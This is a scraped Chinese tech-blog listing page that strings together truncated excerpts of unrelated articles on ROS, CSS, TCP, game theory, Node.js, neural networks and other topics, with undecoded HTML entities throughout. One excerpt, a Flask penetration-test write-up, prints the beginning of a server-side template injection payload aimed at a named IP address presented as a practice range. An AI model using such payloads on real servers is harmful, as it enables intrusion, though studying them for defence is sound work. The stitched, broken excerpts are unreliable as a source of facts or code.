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ros启动节点的launch文件你真的会写吗?

<launch><!-- 启动节点 --><node name="lidar_data_feature_detection_node" pkg="lidar_data_feature_detection" type="lidar_data_feature_detection" output="screen" />

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AMEYA360:循序积累立体布局,北京君正实景展示AI-ISP

北京君正集成电路股份有限公司(下称“北京君正”)是国内较早深耕智能安防及泛视觉解决方案的芯片供应商之一&#xff0c;也是国内同时掌握CPU、VPU、ISP、AIE等核心技术的创新企业之一&#xff0c;自成立以来始终深耕行业&#xff0c;并持续迭代创新产品及创新方案。 在2023 CP…...

10.31 知识总结(选择器、css属性相关)

一、选择器 1.1 属性选择器 通过标签的属性来查找标签&#xff0c;标签都有属性 <div class"c1" id"d1"></div> id值和class值是每个标签都自带的属性&#xff0c;还有另外一种&#xff1a;自定义属性 <div class"c1" id"d1…...

【网络协议】聊聊TCP如何做到可靠传输的

网络是不可靠的&#xff0c;所以在TCP协议中通过各种算法等机制保证数据传输的可靠性。生活中如何保证消息可靠传输的&#xff0c;那么就是采用一发一收的方式&#xff0c;但是这样其实效率并不高&#xff0c;所以通常采用的是累计确认或者累计应答。 如何实现一个靠谱的协议&…...

记一次flask框架环境综合渗透测试

PART.01 登入过程 访问靶场地址http://101.43.22.226/?name2023&#xff0c;框架为Flask。 2. 测试存在ssti注入。 3. 直接执行以下命令。 http://101.43.22.226/?name{% for c in [].class.base.subclasses() %} {% if c.name ‘catch_warnings’ %} {% for b in c.i…...

博弈论学习笔记(2)——完全信息静态博弈

前言 这部分我们学习的是完全信息静态博弈&#xff0c;主要内容包括博弈论的基本概念、战略式博弈、Nash均衡、Nash均衡解的特性、以及Nash均衡的应用。 零、绪论 1、什么是博弈论 1&#xff09;博弈的定义 博弈论&#xff1a;研究决策主体的行为发生直接相互作用时候的决策…...

【COMP304 LEC4 LEC5】

LEC 4 1. Truth-Functionality Propositional logic 的connectives&#xff08;连接词&#xff09;are truth-functional 但是&#xff0c;有时候的描述不是true-functional的&#xff0c;比如&#xff1a;"Knowing that", "It is necessary that",&quo…...

表白墙(服务器)

目录 0.需求 1.创建Maven项目 2.给pom.xml内引入三个依赖 3.完善目录&#xff0c;并补充web.xml中的内容 4.编写代码 后端代码 ​编辑前端代码 5.引入数据库 创建message表 创建工具类 往MessageServlet类中添加方法 0.需求 前面写好了表白墙页面&#xff0c;但存…...

在 Mac 中卸载 Node.js

在 Mac 中卸载 Node.js&#xff0c;可以选择以下两种方法&#xff1a; 使用命令行卸载 Node.js 第一步&#xff1a;打开终端&#xff0c;输入以下命令显示 Node.js 的安装路径&#xff1a; which node 执行该命令后&#xff0c;会显示安装路径&#xff1a;/usr/local/bin/n…...

Hafnium构建选项及FVP模型调用

安全之安全(security)博客目录导读 目录 一、Hafnium构建选项 二、FVP模型调用 一、Hafnium构建选项 本节解释了在支持基于FF-A的SPM (SPMD位于EL3, SPMC位于S-EL1、S-EL2或EL3)的情况下进行构建时涉及的TF-A构建选项:...

第44天:前端及html、Http协议

前端 前端是所有跟用户直接打交道的都可以称之为是前端&#xff0c;比如&#xff1a;PC页面、手机页面、平板页面、汽车显示屏、大屏幕展示出来的都是前端内容。 前端的用处&#xff1a; 学了前端以后我们就可以做全栈工程师(会后端、会前端、会DB、会运维等),能够写一些简单的…...

shell_63.Linux产生信号

Linux 系统信号 信号 值 描述 1 SIGHUP 挂起&#xff08;hang up&#xff09;进程 2 SIGINT 中断&#xff08;interrupt&#xff09;进程 3 SIGQUIT 停止&#xff08;stop&#xff09;进程 9 …...

互联网摸鱼日报(2023-11-01)

互联网摸鱼日报(2023-11-01) 36氪新闻 毫末智行张凯&#xff1a;2023年高阶智能辅助驾驶市场迎来大爆发 ​撕开三星、金士顿市场&#xff0c;国产老牌存储器企业出海三年&#xff0c;营收翻三倍&#xff5c;insight全球 给医生一双“透视眼”&#xff0c;「锦瑟医疗」专注开…...

AR的光学原理?

AR智能眼镜的光学成像系统 AR眼镜的光学成像系统由微型显示屏和光学镜片组成&#xff0c;可以将其理解为智能手机的屏幕。 增强现实&#xff0c;从本质上说&#xff0c;是将设备生成的影像与现实世界进行叠加融合。这种技术基本就是通过光学镜片组件对微型显示屏幕发出的光线…...

语义分割 实例分割的异同点

语义分割和实例分割是计算机视觉领域中两个相关但不同的任务&#xff0c;它们都涉及对图像像素进行分类和标记&#xff0c;但关注的对象和目标有所不同。 目标对象&#xff1a; 语义分割&#xff1a;语义分割的目标是将图像中的每个像素标记为对应的语义类别&#xff0c;即将…...

C++学习初探---‘C++面向对象‘-继承函数重载与运算符重载

文章目录 前言继承继承是什么&#xff1f;三种访问权限的继承&#xff1a; 函数重载与运算符重载函数重载运算符重载可重载运算符&不可重载运算符 前言 第三次学习记录&#xff0c;依旧是C面向对象的内容。 继承 继承是什么&#xff1f; C中的继承是一种面向对象编程&am…...

Linux下搭建SRS服务器环境

搭建环境 Ubuntu的Linux环境srs 安装源码&#xff1a;源码地址为&#xff1a;GitHub - ossrs/srs at 3.0release 搭建步骤 下载srs源码 git clone GitHub - ossrs/srs: SRS is a simple, high-efficiency, real-time video server supporting RTMP, WebRTC, HLS, HTTP-FLV,…...

pytest 使用(一)

pytest 使用pytest&#xff0c;默认的测试用例的规则以及基础应用pytest测试用例的运行方式pytest执行测试用例的顺序是怎样的呢&#xff1f;如何分组执行&#xff08;冒烟&#xff0c;分模块执行&#xff0c;分接口和web执行&#xff09;pytest跳过测试用例 b站课程链接 使用…...

基于秃鹰算法的无人机航迹规划-附代码

基于秃鹰算法的无人机航迹规划 文章目录 基于秃鹰算法的无人机航迹规划1.秃鹰搜索算法2.无人机飞行环境建模3.无人机航迹规划建模4.实验结果4.1地图创建4.2 航迹规划 5.参考文献6.Matlab代码 摘要&#xff1a;本文主要介绍利用秃鹰算法来优化无人机航迹规划。 1.秃鹰搜索算法 …...

08. 按键输入

08. 按键输入 按键原理图代码编写GPIO驱动代码按键驱动代码主函数 加上清除BSS段&#xff0c;代码不运行 按键原理图 按键KEY0连接到了UART1_CTS上。默认情况下&#xff0c;KEY0为高&#xff0c;当按下KEY0后&#xff0c;UART1_CTS为低电平 代码编写 在bsp下创建一个key和一个…...

【网络安全产品大调研系列】2. 体验漏洞扫描

前言 2023 年漏洞扫描服务市场规模预计为 3.06&#xff08;十亿美元&#xff09;。漏洞扫描服务市场行业预计将从 2024 年的 3.48&#xff08;十亿美元&#xff09;增长到 2032 年的 9.54&#xff08;十亿美元&#xff09;。预测期内漏洞扫描服务市场 CAGR&#xff08;增长率&…...

多模态大语言模型arxiv论文略读(108)

CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文标题&#xff1a;CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文作者&#xff1a;Sayna Ebrahimi, Sercan O. Arik, Tejas Nama, Tomas Pfister ➡️ 研究机构: Google Cloud AI Re…...

tree 树组件大数据卡顿问题优化

问题背景 项目中有用到树组件用来做文件目录&#xff0c;但是由于这个树组件的节点越来越多&#xff0c;导致页面在滚动这个树组件的时候浏览器就很容易卡死。这种问题基本上都是因为dom节点太多&#xff0c;导致的浏览器卡顿&#xff0c;这里很明显就需要用到虚拟列表的技术&…...

RNN避坑指南:从数学推导到LSTM/GRU工业级部署实战流程

本文较长&#xff0c;建议点赞收藏&#xff0c;以免遗失。更多AI大模型应用开发学习视频及资料&#xff0c;尽在聚客AI学院。 本文全面剖析RNN核心原理&#xff0c;深入讲解梯度消失/爆炸问题&#xff0c;并通过LSTM/GRU结构实现解决方案&#xff0c;提供时间序列预测和文本生成…...

【p2p、分布式,区块链笔记 MESH】Bluetooth蓝牙通信 BLE Mesh协议的拓扑结构 定向转发机制

目录 节点的功能承载层&#xff08;GATT/Adv&#xff09;局限性&#xff1a; 拓扑关系定向转发机制定向转发意义 CG 节点的功能 节点的功能由节点支持的特性和功能决定。所有节点都能够发送和接收网格消息。节点还可以选择支持一个或多个附加功能&#xff0c;如 Configuration …...

零知开源——STM32F103RBT6驱动 ICM20948 九轴传感器及 vofa + 上位机可视化教程

STM32F1 本教程使用零知标准板&#xff08;STM32F103RBT6&#xff09;通过I2C驱动ICM20948九轴传感器&#xff0c;实现姿态解算&#xff0c;并通过串口将数据实时发送至VOFA上位机进行3D可视化。代码基于开源库修改优化&#xff0c;适合嵌入式及物联网开发者。在基础驱动上新增…...

系统掌握PyTorch:图解张量、Autograd、DataLoader、nn.Module与实战模型

本文较长&#xff0c;建议点赞收藏&#xff0c;以免遗失。更多AI大模型应用开发学习视频及资料&#xff0c;尽在聚客AI学院。 本文通过代码驱动的方式&#xff0c;系统讲解PyTorch核心概念和实战技巧&#xff0c;涵盖张量操作、自动微分、数据加载、模型构建和训练全流程&#…...

计算机系统结构复习-名词解释2

1.定向&#xff1a;在某条指令产生计算结果之前&#xff0c;其他指令并不真正立即需要该计算结果&#xff0c;如果能够将该计算结果从其产生的地方直接送到其他指令中需要它的地方&#xff0c;那么就可以避免停顿。 2.多级存储层次&#xff1a;由若干个采用不同实现技术的存储…...

Axure Rp 11 安装、汉化、授权

Axure Rp 11 安装、汉化、授权 1、前言2、汉化2.1、汉化文件下载2.2、windows汉化流程2.3、 macOs汉化流程 3、授权 1、前言 Axure Rp 11官方下载链接&#xff1a;https://www.axure.com/downloadthanks 2、汉化 2.1、汉化文件下载 链接: https://pan.baidu.com/s/18Clf…...

结合PDE反应扩散方程与物理信息神经网络(PINN)进行稀疏数据预测的技术方案

以下是一个结合PDE反应扩散方程与物理信息神经网络(PINN)进行稀疏数据预测的技术方案,包含完整数学推导、PyTorch/TensorFlow双框架实现代码及对比实验分析。 基于PINN的反应扩散方程稀疏数据预测与大规模数据泛化能力研究 1. 问题定义与数学模型 1.1 反应扩散方程 考虑标…...